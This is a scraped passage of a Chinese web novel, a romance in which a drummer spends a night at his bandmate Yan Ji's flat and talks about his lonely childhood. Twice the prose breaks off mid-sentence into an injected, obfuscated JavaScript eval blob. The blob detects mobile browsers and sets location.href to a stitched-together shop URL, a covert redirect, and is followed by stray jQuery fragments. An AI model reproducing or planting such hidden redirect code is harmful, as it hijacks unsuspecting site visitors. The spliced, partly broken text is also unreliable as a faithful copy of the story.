当时的迟之阳发了很久的呆,一旁的南乙顺着他的目光看过去,也发现了,于是站在了他的面前,摸他的小辫子,问他一会儿要不要去他家吃涮羊肉。 “严霁,你说……为什么呢?”迟之阳眼睛有些红,鼓了鼓嘴,把眼泪憋回去,“为什么他们离婚之后,扔下我,有了新的家庭、新的小孩儿,就突然变成好爸爸好妈妈了?” 是我不配被抱在怀里哄吗? “或许他们从来都不是好的爸爸妈妈。”严霁对他说,“只是偶尔会表现出来这样的假象。没准儿在你看不到的时候,他会骂那个新的孩子,甚至动手打人。” 严霁一向温柔的眼神中露出一丝锐利,像是站在上帝视角的人无情地剖开假面。 “人是很难改变的。你没有被他们好好地爱护,是他们的错,绝不是你的,知道吗?” 那个瞬间,迟之阳开始好奇严霁的家庭。这么温和的人,对一切看得如此清楚的人,是不是生活在很幸福的家庭呢?像小乙一样。 但严霁从未提过。 后来坐在诊室时,迟之阳也很不适应,严霁就站在他身边,一只手搭在他肩上,当他面对医生的询问感觉描述不清时,严霁总会恰到好处地替他开口,并且向医生询问了很多注意事项,甚至把它们记在手机备忘录里。 排队,取药,把医嘱里的用药频次写在包装盒上,结束后没有直接带他去地下车库,而是带着他出去,在医院附近的KFC买了一个甜筒。 迟之阳接过甜筒,有些高兴,又有些别扭。 “这该不会是我乖乖来看病的奖励吧?我又不是小孩儿。” “不是啊。”严霁笑了,过了一会儿才又开口,“这是我给你的谢礼。” “谢礼?”迟之阳摸不着头脑,但怕甜筒化掉,于是赶紧吃了一口。 严霁微笑着点了点头,夕阳落在他的脸上,柔和了他原本立体的眉眼。 “嗯,谢谢你信任我,愿意把小时候的事分享给我。” 迟之阳傻掉了,不知道该说什么,只能亦步亦趋跟住他。就这样,他们肩并肩往车库走。路过医院僻静的花园时,严霁忽然停下,而他的甜筒也已经吃完了。 “小阳。”严霁只走草坪中央的鹅卵石路,所以迟之阳也是,停得太快,他差点滑到。 手刚伸出去想要保持平衡,就被严霁握住。他似乎被逗笑了,嘴角扬起。 “你干嘛突然停下啊,想摔死我就直说。”迟之阳故意怪他,把手抽回来。 “就是突然想起一件事。” “什么事儿?” “刚刚医生不是说,你现在的状况大概率是因为太紧张,情绪压力过大?让你想办法缓解压力。” “是啊。”迟之阳踢了踢地上的鹅卵石,“说得容易,要这么简单就能缓解,也不会生病了。” “我知道一种办法,是我在论文上看到的,拥抱大树疗法。”严霁说,“当人在抚摸和拥抱树木时,大脑会增加催产素的释放,皮质醇也会下降,情绪就能得到缓解。” 于是他领着迟之阳,在这个小花园挑选了一棵大树,鼓励迟之阳去拥抱。 “这也太他妈……”迟之阳下意识脱口而出了脏话,又心虚地咽回去,虽然已经来不及了。 “太、太诡异了!”迟之阳东张西望,怕被人看到自己做这么奇怪的事。 “我帮你挡着,这儿没人。”严霁说,“试试吧。” 迟之阳没办法拒绝严霁每一次温和的引导,嘴上说他烦,却照做了。令他感到奇怪的是,当他真的拥抱这棵树,身体接触粗糙的树皮,嗅着树木的气味,竟然产生了一种前所未有的平静。 “是不是很有用?”严霁问。 他不想承认,松开手,不自然地甩着手臂,故意说:“这儿倒是有树,回CB了去哪儿找树给我抱?到时候不还是焦虑。” “是哦。”严霁点点头。 对啊,有用又怎么样?我就是这么麻烦,就是情绪不稳定,就是遇到一点点小事就方寸大乱,压力大到耳朵嗡嗡响。 我就这样。 谁知下一秒,严霁却又开口。树影与光斑摇摇晃晃,落在他脸上。 “那试试我呢?”他朝迟之阳摊开双臂。 那个瞬间迟之阳表情都变了,他忽然想到了上台前严霁为他按摩耳朵的画面,浑身不自然地发烫。 “你……你又不是树!” 严霁笑了笑,仍旧没放下手臂,他解释说:“那篇文章的作者也做过相关的研究 ,和人拥抱同样会分泌催产素,还有多巴胺,效果只好不坏。” “当然,”他体贴地补充,“你也可以把我当成一棵树。你回到那儿能找到,并且随时可以拥抱的树。” 迟之阳不知道自己是怎么想的,或许他压根儿没过脑子。等反应过来的时候,自己已经在严霁怀里了。 他甚至把脸埋在了严霁胸前,并且更为清晰地知道,这不是树。他能接触到的不是粗糙、冰冷的树皮,而是温暖、柔软的肌肉和肢体,是平稳的心跳,还有严霁身上淡淡的香气。 当严霁在他身后收住手臂,轻轻抚摸他的后背时,迟之阳感觉自己像冰淇淋一样融化了。 “效果好吗?” “马马虎虎。” “那这份工作我勉强也可以胜任吧?”严霁笑着说。 明明他语气毫无逼迫,柔和极了,可迟之阳却好像被莫名逼到墙角。 “勉强吧。”他超小声回答,“谁让我之后还要打鼓。” “是啊。”严霁笑笑,“为了我们乐队的发展,缓解鼓手老师的压力是非常重要的一环。” 后来他们经常在只有两个人的场合拥抱,但迟之阳从没把严霁当成树,严霁就是严霁,他一直都知道。那么自己呢? 当他清楚严霁喜欢男人之后,后知后觉地想,他慷慨地张开双臂,是不是也只是把他当做一个敏感、情绪不稳定、总是陷入压力沼泽里的不成熟但重要的鼓手? 所以他才会表现得如此自然,如此妥帖。 直到现在,坐在严霁车里,听着秦一隅在后座发神经说的屁话,迟之阳还陷在这份纠结之中。 “怎么个事儿啊严老师,我家孩子昨天还好好的,怎么一晚上过去垮着个小脸儿也不说话骂人都没劲了,他以前可是个特别会骂人的孩子啊,您平时得多关心关心……” “再不闭嘴我报警抓你!”他很烦,骂了秦一隅,也越来越确认这一点。 因为严霁表现得很沉默,换做平时,他早就帮他说话,笑着让秦一隅别开他的玩笑了。 因为他撞破了秘密,仿佛戳破了一直以来包裹着严霁的透明但虚幻的泡泡,触碰到真实的严霁了。所以他不像之前那样无条件包容他的脾气,答应一切无理的要求,不允许自己和他一起睡,也不会再为他说话了。 原来树也是会长脚跑掉的。 到了学校,迟之阳心事重重下了车,第一次没打招呼转身就走了。 人一旦倒霉起来,坏事总是接连不断,一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727048|189503||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晚上没睡好的他本想回到宿舍好好补个觉,可才刚睡着,就被室友摇醒。 “怎么了……”迟之阳迷迷糊糊坐起来,“着火了?” “不是,漏水了!都淹了,快下来看看你衣柜里的鞋子衣服泡水没?” 等他清醒过来,下了床一看,水已经没过他小腿。 “操……烦死了。”迟之阳赶紧和室友们一起抢救,忙得不可开交。 最狼狈的时候,他手机忽然响了,是严霁的电话。 “喂?”迟之阳站在一片狼藉的宿舍里,心砰砰直跳,他没想到严霁会突然给他打电话,“有事儿吗?” “嗯。”严霁语气似乎还是和平常一样,“我前同事开了蛋糕店,送了我一个草莓蛋糕,很大,我戒糖,不吃也有点可惜,想到可以送来给你。我现在已经到你学校南门了,有时间出来拿一下吗?” 蛋糕? 迟之阳更意外了。谁会在生气的时候给闯祸的家伙送蛋糕的? 好吧,如果是严霁的话,也是有可能的。 似乎是因为他沉默太久,电话那头的严霁又一次问:“现在没空吗?那我放在……” “有。”迟之阳应了声,低头看了一眼卷着裤腿乱七八糟的自己,闷声说,“等我一下。” 他飞快地找出一套没泡水的衣服,换好,对着镜子好好整理了一番,但所有的鞋都被泡了。他急得打转,跑到阳台,盯上了一双正在窗台边晾着的鞋。 接近半小时后,他才气喘吁吁地跑到南门,一眼就看到了那辆熟悉的车。严霁驾驶座没关窗,他左手手肘搭在窗边,人靠在座椅上,比平时多一些疲倦。 可当他稳住呼吸走过去后,和他对上视线的严霁几乎是一瞬间收掉了那种倦怠感,露出一贯的微笑。 “你等很久了。”迟之阳拉开副驾驶的门,坐进去。 “没有,其实和你打电话的时候我还没到。”严霁表现得仿佛他们之间毫无芥蒂似的,随手点了首歌,还是迟之阳很喜欢的,他已经习惯了。 “蛋糕在后座,你一个人应该吃不完,可以带回去和室友一起吃。” 迟之阳扭头看了一眼,的确是很大的盒子,而且一看就非常贵。 他想问前同事是男的女的,怎么会送你这么大的蛋糕,但还没来记得问出口,开口的机会又一次被严霁抢先。 “你怎么了?”严霁望向他的眼神里透着一丝敏锐,视线柔和地自上而下扫过,最后落在他的鞋上。 “什么怎么了?”迟之阳下意识强装镇定,手已经握住了车门把手,“谢谢你的蛋糕,我要走了。” “这不是你的鞋吧?”严霁轻轻握住了他的左手小臂,“比你的鞋大,你也很少穿这样的款式。” 而且你没穿袜子,平时从来不会这样,不穿袜子直接穿鞋会让你难受得要命。 被戳穿的迟之阳有些炸毛:“不是……你这话说得可真搞笑,我就不能换换风格吗?你以为你……” 严霁只是笑笑,刚刚打电话时他就听见迟之阳室友在抱怨什么,也能听见“好麻烦”、“全泡了”之类的字眼,联系他现在的样子,对情况也就了解得七七八八了。 “我知道了。” “你知道什么了!” “今天去我家住吧。”严霁望着他说,“你们宿舍今天可能住不了了,是淹水了对吗?我以前上学的时候也遇到过。” “没什么住不了的……”迟之阳瘪了瘪嘴,“上床下桌,还能淹我床上不成?” “不是,我的意思是可能会漏电,你总不能一直不下床,对不对?”严霁说着,直接锁了车门,发动了车子。 “哎我没说要去呢!”迟之阳故意呛他,“你能受得了我在你家住?” 严霁皱了皱眉,看向他时笑容变得有些无奈:“怎么会受不了,你在想什么。”说完,他自顾自开了车,又轻声道,“得去买新的牙刷。” 就像一拳打在棉花上,迟之阳毫无办法,只能在心里回击。 你不是喜欢男人吗?你不是觉得这样不好?不方便? 老好人,坏透了。 快到小区时,迟之阳没来由有些紧张,这是他第一次去严霁家,他莫名有些担心,严霁要是和父母一起住,他要怎么表现得好一点?自己一直都不是讨长辈喜欢的类型。 严霁停在路边,自己下车走到便利店。迟之阳立刻将头顶的镜子拉开,把那些晃眼的耳钉和颈链都摘了,想给有可能出现的长辈留下一个好印象,但很快他意识到,这是不可能的。 他盯着镜子里一头扎眼的白毛,沮丧地叹气。 但车里的歌又让他平静下来,这是他非常喜欢的一首后摇,曾经陪伴他度过了很难熬的少年时代。 为什么严霁每一次放的歌,他都很喜欢?真的是因为他们的音乐审美完全契合吗?可之前聊天的时候他明明笑着说自己其实爱听金属。 在巨大的疑惑中,迟之阳的手指忍不住戳上屏幕,翻看了正在播放的歌单。他惊讶极了。这一首他喜欢,下一首也是。 每一首都是。 他忍不住去看歌单的名字,但捉摸不透,因为名字是三个数字[831]。 这是什么暗号吗? 这个人身上有太多隐晦的谜语,迟之阳从未真正了解过他,这太令人沮丧了。他从之前就隐隐感觉到严霁不会表露真实自己的习惯,他有许多种社交面具,层层套着,迟之阳没能循序渐进地一层层揭开,反而戳到了他最底层的秘密。 完全错误的顺序。 等到严霁回到车上,将买来的日用品和蛋糕一起放在后座,又从中拿出一盒薄荷糖,递给迟之阳时,歌单正好播放到一首温柔到不真实的迷幻摇滚。 在听了会让人晕乎乎的合成器音色里,迟之阳被鼓点压着心跳,接过糖,想说谢谢,开口却不受控制地变成质询。 “为什么这些歌单都是我爱听的歌?” 果不其然,车里的气氛瞬间凝固了一般。 迟之阳对自己的不假思索有些无语,立刻找补:“我意思是……这里面好多都是特别冷门的,都没几个人评论过,你怎么会知道……是巧合吗?” 严霁没有看他,平静地顿了几秒,然后重新发起步,驶离路边的停车位。 “不是巧合。” 他一边望着后视镜,单手打转方向盘,一边温声开口。 “你朋友圈很爱分享歌,几乎每天都有,不是吗?” 41. 恒星时刻严迟番外(二) 迟之阳懵了。 居然会有一个人,会一首一首听完他朋友圈分享过的所有歌,甚至为此专门新建一个歌单,在他坐车的时候为他播放。 而他竟然迟钝地以为这是默契,是音乐审美的契合。 更令他意外的是,得知这件事之后的自己,第一反应竟然是——严霁还会为其他人这样做吗? 每一个坐在副驾上的人,都可以得到这样的悉心关照吗? 他差点再次脱口而出,好在理智及时收回,到嘴边的话刹了车。等严霁专注于开车的时候,迟之阳才又假装不经意地戳着屏幕,切了几首歌,然后悄悄退出,翻看了他的歌单列表。 只有两个,除了现在正在放的[831],剩下的一个标题为[YJ],意义显而易见。 迟之阳莫名其妙地感觉愉悦,甚至忍不住抖了腿,很快他意识到,又摁住自己的膝盖。 在高兴什么鬼啊…… “你和你爸妈一起住吗?”跟在严霁后头,等他开了门,迟之阳问。 “我自己住。”严霁进入玄关,从鞋柜里为他拿出一双米白色棉拖鞋,放在他前面,“这是新的。” “哦……谢谢。”迟之阳弯腰换鞋,也松了口气。 还以为会有一个阿姨或者叔叔跑出来打量他,问他是哪儿来的白毛,一看就不是正经小孩儿。 换好鞋,他跟着严霁走到客厅,环顾四周,这里的整洁程度和南乙的卧室有的一拼,奇怪的是,南乙的房间里多少有些收藏的旧物,比如照片、琴谱、奖状,还有琴,可严霁的家里却干净到有些夸张,简直像样板间。 没有一丁点家的气息。 和严霁本人一样毫无破绽,谁都无法从这个家里获取任何关于他童年或私生活的事。 “现在吃蛋糕吗?” “啊?吃!”愣在沙发上的迟之阳转过头,像小磁铁一样跑到了开放式厨房,和严霁面对面站在了岛台的两侧,隔着一个水池。 严霁挽好了衬衫袖子,伸手到池边的洗手液处,按了好几下。迟之阳有样学样,也伸长手臂想去按,谁知下一刻,严霁却将手伸过来,包住了他的手。 迟之阳呆在原地,愣愣地抬眼盯住严霁的脸。 “挤多了。”严霁垂着眼,看起来很心无旁骛地将自己手心的洗手液弄到迟之阳手上,顺便帮他揉了揉。 要是换做之前,迟之阳是不会心慌的,他根本就不会多想。 都怪他知道了性取向的秘密!迟之阳慌到差点把手抽出来。 可没等他有动作,严霁先这么做了。 “好了。” 水龙头打开,哗啦啦的,严霁很快把手冲干净,转过身去拆蛋糕的盒子。草莓蛋糕非常漂亮,但迟之阳却不像平时那样会发出“哇”的惊叹,他依旧没缓过来。 一块切好的蛋糕已经被递到他面前。 “吃吧。” “需要茶吗?光吃这个会不会腻?” “啊?啊……好。” 好什么啊。迟之阳感觉自己脑袋都炸了,搞不明白自己究竟不自在什么。 他发觉自己变得敏感,竟然能在奶油和草莓的香气里嗅到洗手液的味道,是木质调的。和严霁身上的味道很相似。 这么漂亮的房子,严霁真的只是一个人住吗?一个人住不会觉得孤单吗?特别是下班后,累到崩溃了,打开玄关和客厅的灯,但看到家里空荡荡没有任何人的时候。 迟之阳莫名有些心疼,可很快他又在脑子里一拳头打醒了自己。 想这么多干嘛?你又不是第一个被他邀请来家里做客的人。 当他询问可不可以再吃一块蛋糕的时候,严霁回说:“整个都是你的,只要你能一口气吃完。”他说完后,拎着一个小小的医药箱坐到了迟之阳身边。 “嗯?”迟之阳有些懵,叼着叉子,嘴角沾着奶油,冲严霁眨眼。 “你手上有木刺,都红了,没发现吗?”严霁说着,用镊子夹好碘伏棉球,拉过迟之阳的左手,找到发红的大鱼际,涂上去。 “啊……我说呢,怪不得我觉得有点儿疼!”迟之阳恍然,但这对他来说简直就是挠痒痒,所以压根儿没在意。 “想起来了,是大鼓的鼓棒。”迟之阳找到了答案,为此有些沾沾自喜,“淘汰赛演出的时候它断了,断面有好多木头小刺,破案了!” 严霁轻笑了一声,不知道他在高兴什么,都过去一天一夜了。 “把它挑出来比较好,不然会一直发炎。” “不用,这算什么。”迟之阳不以为然,“我手天天受伤,之前指甲盖儿都打掉了,用创可贴缠几圈固定了继续打,哪就这么娇气了。” 但严霁仿佛听不见似的,低头非常认真地帮他挑刺。 迟之阳也忽然静下来,盯着严霁垂下来的、轻轻闪动的睫毛。 他又一次开始控制不住自己的嘴:“严霁,你一点儿也不喜欢汪琦吗?” 完了。 我在说什么?疯求了吗? 迟之阳差点儿抬手给自己一嘴巴,幸好手在严霁的手里。 严霁还是没抬头,还是很认真,嗯了一声:“不喜欢。” 这还是迟之阳头一次从他嘴里听到这么绝对的话,有些怪异。 “可是我觉得他人也挺好的……”迟之阳撇了撇嘴角,眼睛也乱飘,“试试也没什么不……” “人好就可以试试?”严霁温声反问,“小阳老师,这就是你对待感情的方式吗?” “我?”迟之阳不明白这烫手山药怎么就扔到他怀里了,他下意识反驳,“不是啊!” 但这似乎太绝对了,他确实是不太会拒绝别人的人,于是又在自我怀疑里小声重复:“不是……吧。” 严霁笑了一声,没再说话了。 这笑和平时的他有些不像,令迟之阳想到不久前,他们面对灯光组的恶意对待时的样子。那时候B组的所有人都因为南乙的遭遇而愤怒,乱成一团,迟之阳会因为被愤怒冲昏头脑,有些无助地下意识看向严霁。 然后他意外地发现,严霁会面无表情地盯着那个灯光师,微微抬着下巴,嘴角带着一点不明显的笑。 后来他才知道,原来那个时候的严霁已经在收集证据了。所以那个笑容是看透对方的意思吗? 那现在他对自己笑,是不是也把他看透了。 迟之阳有些迷茫,他自己都还没看明白自己呢。 “好了,不疼吧?”严霁弄镊子夹着那小小的木刺,递给迟之阳看。 “这么小。”迟之阳觉得他太小题大做了。他手掌里还有小学时不知道什么时候卡进去的一小截儿铅笔芯呢! “再小也存在,磨着总会不舒服。”说完,严霁揉了一把他的头发,冲他微笑,静电噼里啪啦跳动小火花,白花花的头发丝儿都立起来,发梢像是黏在他掌心不肯走似的。 迟之阳深吸一口气,塞了满满一口蛋糕,严霁手机忽然响起来,他说接个电话,起身便去到书房。 盯着医药箱,一向把自己的生活过得乱七八糟的迟之阳忽然想帮他收拾一下,因为严霁很喜欢整洁,又帮他处理伤口,他总得做点报答的事儿吧,不然岂不是狼心狗肺了。 于是他擅自帮忙收拾了桌子,扣好箱子卡扣,拎起来,环视四周,一眼就看到电视背景墙旁边打开的米白色柜门,于是立刻过去物归原处。 可当他把医药箱放进去时,却忽然发现里面摆放了比他想象中更多的药品。 一些罐装的是补剂,但更多的是一种铝板包装的胶囊,没了外包装,被整整齐齐码在透明储藏盒里。 他有些好奇这是什么药,但随意动对方的东西是不太礼貌的行为。迟之阳想,自己再没家教也不能这样,尤其他现在了解,严霁是一个边界感极强的人。 于是他克制了好奇心,合上柜门。 最初做客的局促和不适应,在一顿晚饭和饭后一起看的蜡笔小新剧场版中慢慢消解,迟之阳快忘了这是严霁独居的家,还以为是自己和他在CB的宿舍,踢掉了拖鞋,盘腿坐在沙发上,目不转睛地看着电影,很舒服也很自在。 直到结束,严霁提醒他:“十点半了,鼓手老师该睡觉了。” 迟之阳开始耍赖:“才十点半啊,夜生活才刚刚开始呢!” 严霁双臂环胸,穿着藏青色棉质睡衣,没戴眼镜,头发也很柔顺,就这样站在沙发边看着他微笑:“什么夜生活?” 迟之阳这下忽然语塞,一不小心又炸毛:“不是,你在乱想什么!我说的就是普通的……总之不是你想的那样!” 严霁脸上的笑意更明显了:“我想的是哪种?” “你!”迟之阳的脸彻底红了,他自己看不到。 “好了。”严霁垂下手臂,“不逗你了,先去洗澡吧,过来,我教你怎么用热水器。” 迟之阳小声嘀咕:“我自己又不是不会用,试试不就知道往那边拧了……” 谁知隔几米走在前面的严霁忽然说:“我家的不太一样。” 被听到了。迟之阳感觉小辫子突然被扯住。 烦死了。 站在浴室门口,严霁一样一样帮他拿洗漱用品,“浴巾和牙刷是新买的,洗发水和沐浴露在架子上,如果你需要用剃须刀,打开镜柜可以看到,不过这个就不是新的了。” “哦。”迟之阳跟着他,说一下点一下头。 “大概就是这些。”严霁说着,顿了顿,看向他,“你先洗吧,有些东西可能会不太全,第一次有人来我这儿,所以没提前准备过。” 小鸡啄米般不停点头的迟之阳忽然呆住,“啊?” “啊什么?”严霁笑了,又一次重复,“我一直一个人住,没人留宿过,你是第一个。” 还没开始洗澡,迟之阳就已经开始晕乎乎了。这种糟糕的症状持续到他洗完出来。 差点被闷熟了。 他转了转,在次卧发现了严霁。他正戴着耳机,边听播客边铺床,抬头看到迟之阳,严霁告诉他:“你今晚睡这儿。” “那你呢?” “我睡主卧啊。”严霁声音很轻,仿佛自然而然。 这本来就是应当的。可迟之阳还是有些沮丧,丧眉搭眼说:“哦,这是客房。” “嗯。”严霁停顿片刻,又说,“你要是想睡主卧,我们也可以换。” 谁要睡你的主卧!我又不是杜鹃,没事儿跑到别人家里住别人的主卧,我有病啊。 该死的大房子,一个人买这么大房子干嘛?有钱的讨厌鬼。 “不用,就这儿挺好。”迟之阳坐在床边,拍了拍,“挺舒服的。” “舒服就好。”严霁摆好枕头,打开台灯,替他关上主灯,“晚安小阳老师。” 就这么走了? 迟之阳憋得慌,一头栽到床上,滚来滚去,钻进被子里,像摊煎饼一样翻来覆去。 他们第一次是怎么睡到一起的?莫名其妙…… 对,就是莫名其妙。迟之阳忽然想起来,就在小乙生日的那一晚,他因为第二天的生日惊喜有些失眠,于是拉上严霁看了蜡笔小新。 他们房间的投影幕布不大,而且还不居中,靠左,正好在严霁床前。他看了一集脖子都要扭到,于是从第二集开始,他就和严霁肩并肩靠在了同一张床的床头。看着看着他就睡着,枕着的东西从枕头变成严霁的肩膀。 第二天醒来的他很懵,但床上只有他自己,因为严霁早早就起来去健身了。这就让他更加不觉得尴尬了。他心大,严霁又从不拒绝,同床共枕的事就这么一直稀里糊涂地继续下去,直到他知道自己的觉友是gay。 迟之阳越想越觉得不爽。 本来生着气,严霁突然打电话给他送蛋糕,心情好了不少,打扮好了来见他,结果还被戳穿穿了别人的鞋,可严霁不由分说带他回家,给他挑刺、做饭,还说他第一次带人回来。 结果现在居然还不让他和他一块儿睡觉! 这一整天,迟之阳的心情就像过山车一样,被严霁弄得七上八下。 “烦死了。” 回到房间不到半小时,严霁就听到了意料之中的敲门声。还没等他说“请进”,主卧门就被开了一个小缝,紧接着,一只毛茸茸白花花的小脑袋探进来。 “你还没睡吗?” 严霁靠在床头,合上一本书,“没,有事吗?” 迟之阳挤进来。之所以是挤,因为他还抱着一大床被子,很费劲。 “我有点儿失眠,可以在你床边打地铺吗?”他说完,又小声解释,“我就是……不习惯一个人睡,房间里得有其他人才行。” 严霁差点儿笑出来,但他忍住了,下了床,走过去帮他抱起被子。 “你睡床,我睡地上吧。” “哎哎哎。”迟之阳听了就急,急了就开始抢被子,“不是,谁让你打地铺了?都说了是我睡地上……” 他忽然感觉不对劲,又瞪住严霁:“你就这么不想和我睡一张床吗?宁愿自己睡地上?” 严霁也望着他,台灯暖黄色的光线衬得他眼神愈发温柔。 他笑了,说:“我不是说过吗?还是避嫌好一点。” “为什么要避嫌?”迟之阳脱口而出,“我没明白,这事儿有这么复杂吗?你会和你的朋友避嫌吗?” 严霁却沉声说:“我不会和我的朋友睡在一张床上。” 这下迟之阳愣住了。 我会。 他忽然展露出一种做错事的表情,有些迷茫地眨了眨眼,浑身泄了气。 看到他这样,严霁忽然有些心软,意识到自己似乎有些强势了。于是他又一次露出微笑,拿过被子,放到床上。 “你说得对。”他选择以退为进,为迟之阳铺好被子,“朋友之间的确不应该想得这么复杂,一起睡吧小阳。” 迟之阳的眼睛立刻亮起来,有些心虚地问:“真的?” “嗯。”严霁点头,看着迟之阳爬上床后,又补充说,“是我的问题。或许我应该试试多邀请朋友来家里做客,好克服自己的心理障碍。” 迟之阳立刻又不爽了。 什么意思?你要邀请谁?汪琦?你要让他和我一样和你一块儿睡? 他心跳得快极了,因为愤怒。 “怎么气呼呼的。”严霁靠在枕头边,看着他笑。 “我才没有,我好得很,希望你的朋友越来越多。”迟之阳抿住嘴唇。 “谢谢,我也这么希望。”严霁说完,忍着笑,自然地转换了话题,“其实我一直很好奇,为什么不喜欢自己睡?从小就这样吗?” 尽管他这么问,但其实大概能猜到,这是童年缺乏父母关爱的一种表现。 迟之阳沉默了好一会儿,似乎并不想说出口。 “没关系,不想说也可以不用说。”严霁语气包容,替他关掉了另一边的台灯,当他正要说“睡吧”的时候,迟之阳开口了。 “很小的时候我就自己睡,小婴儿时就这样,听我奶奶说,就因为我自己一个人一间婴儿房,小时候差点儿因为翻不过身窒息死掉。” 迟之阳现在都能想起当初奶奶提起时,他喘不过气的感觉。 “是这样。”严霁伸出一只手,轻轻地搭在迟之阳身上,拍了拍,“还好及时发现了。” “是啊。”迟之阳深吸一口气,又说,“后来上幼儿园小班,第一天午休的时候,所有的小朋友都有爸爸妈妈带的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727049|189503||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小毯子小被子,只有我没有。有小孩儿哭,老师也没注意到我。” 严霁仿佛已经看到了那画面,心都陷下去一小块,手忍不住轻轻碰了碰迟之阳的肩膀,开口时声音很轻:“这么可怜。” “不过小乙发现了。他让我去他的小床上,把他的被子横过来,我们俩一起盖。我挨着他很快就睡着了。”迟之阳说着笑了,“后来我有被子了也喜欢和他一块儿睡,觉得很有安全感。” 安全感?雏鸟情结吗? 难怪觉得朋友就是可以一起睡觉的。严霁想,换个角度想想,南乙也是够惯着他的。 得亏南乙眼里只看得到秦一隅一个人。 “原来是这样。”严霁的手略微上移,摸了摸迟之阳的头发,“对不起。” 迟之阳愣了一秒,有些慌,又结巴起来:“为、为什么要道歉啊,你又没做错什么事儿。” “早知道是这样,昨天晚上就不会那么直白地拒绝你了。” 所以,如果别人也对你说小时候不快乐的事,你也会这么无条件接受他的一切要求? 迟之阳盯着严霁,越想越觉得别扭。他知道这是一定的,严霁是他这辈子见过最温柔最善良的人。 “你也太容易心软了……”迟之阳吹了吹耷拉在自己眼前的额发,“应该有很多人对你说你是个好人吧。” 严霁笑了笑:“其实没有。” “怎么可能?” 严霁告诉他:“因为这通常是用来拒绝别人的话术。” 迟之阳恍然:“对哦,你长得好看,性格又好,学习成绩也好,从小到大喜欢你的人超级多。所以他们不会说你是个好人,只会说严霁你可真好。” 你好温柔。好善良,好体贴。 我好喜欢你……之类的。 对此严霁并没有给出回应。迟之阳说得没错,但他也一直都知道,这些人喜欢的都是他表现出来的完美形象,并不是真正的自己。 而他也不想袒露真实的自己,除了面对迟之阳。 只是这小家伙太迟钝,就算他泄露线索,例如故意留下医药箱,想让他趁机看到自己的药。这样明显到近乎拙劣的手段,都没能奏效。 他还以为敲门进来的迟之阳会一脸关切地问他为什么会生病,得的是什么病。 把黑暗面特地露出来给他看,想吓一吓他,都会被小睁眼瞎忽略。 太好笑了。 迟之阳没注意到他的沉默,继续说:“但你真的特别好。” 严霁轻微挑了挑眉:“是吗?”他微笑问,“哪里好?” 迟之阳对此如数家珍:“你总是把谢谢挂在嘴边,总是特别愿意关心其他人,现在没人想了解别人,只管自己,而且每次你送出去的小礼物,每个人都很喜欢,这一点我就做不到,太厉害了。” 严霁听着,没说话,心里却像是有一把手术刀似的,一个一个将这些表象剖开,露出事实。 把谢谢挂嘴边,是为了尽最大程度避免矛盾,没人会和一个温和有礼的人故意作对。 关心别人,主动提问了解他人,其实是为了把谈话的主动权攥在自己手里,如果对话不可避免,至少这样可以尽可能减少他人对自己的讨论。 每次送出去的小礼物都会获得对方的正向反馈,其实是因为他送出去的,就是这些人向别人表达感谢或好感时会送出的东西,没人会质疑自己的品味。 “大家都觉得你情商好高。”迟之阳总结说,“而且很细心,什么事都瞒不过你。” “比如?”严霁望着他,视线开始偏移。 其实他很知道社交法则,当一个人说话时,最有效的获得对方好感的方式是专注地盯着他的双眼,尽量减少眨眼的频次。 他都知道,也很熟练,可现在面对迟之阳,视线就是会不由自主地下移,落到他看起来非常柔软的嘴唇,还有那些可爱的牙齿。 “比如……”迟之阳想了想,“比如你说Uka和程澄关系不一般,我压根儿一点儿也看不出来,但是你说过之后,我越看他俩越奇怪,觉得你简直太牛逼了!” 说完他下意识捂住自己的嘴,眼睛乱眨。 严霁笑了,握住他手腕,拿开他的手:“没事,这不算。” 然后严霁又说:“你想学吗?” “嗯!”迟之阳兴奋地点头,人也凑近不少。两个人之间的距离猛地拉近,“快教教我!” 严霁盯着他下唇正中间的一小条凹陷,沉默了好一会儿才说:“其实很简单。” 他打算拿自己的队友当例子,毕竟看着迟之阳蒙在鼓里这么久,也有点于心不忍。 “CB里集体活动很常见,在人多的时候,有人讲了一些很好笑的话,那时候通常所有人都在笑,但是,如果这其中有两个人忽然对上视线,不会大笑,反倒在悄悄用眼神交流,这两个人关系大概率不一般。而且一般来说,这样的两个人也经常会在集体活动里一起莫名其妙消失。” 秦一隅和南乙就是典型,别人都在笑,他俩眼神恨不得能拉丝。 严霁想,这样说,迟之阳应该会反应过来。 但迟之阳迷茫地眨了眨眼。 因为他想到了自己,每次笑得拍大腿的时候,他第一反应总是去看严霁。严霁不太会大笑,他总是笑得很淡,可也不知道为什么,每当自己看向他,他也会第一时间看过来。 他们也会经常在大聚会里偷偷溜出去买冰淇淋。 “那……还有呢?” “任何人都是有心理边界的,这会决定他们和其他人肢体接触的范围,如果两个人肩并肩坐着,腿会无意识靠在一起,或者手臂磨蹭到也不立刻分开,大概率私底下有暧昧关系。” 甚至上过床也是有可能的。 秦一隅甚至会枕在南乙的腿上,还会把南乙的脚拉过来放到自己膝盖上抓着,谁会对普通朋友的下半身肢体这么有占有欲。 然而迟之阳再一次脑回路跑偏,把这些条条框框搁自己身上。 别说手臂贴手臂了,他还经常拿头顶严霁肩膀呢,还和他睡一张床,有时候半夜睡醒发现自己的腿搭在严霁腰上…… 完了。我其实是一个特别不检点的人是吗! 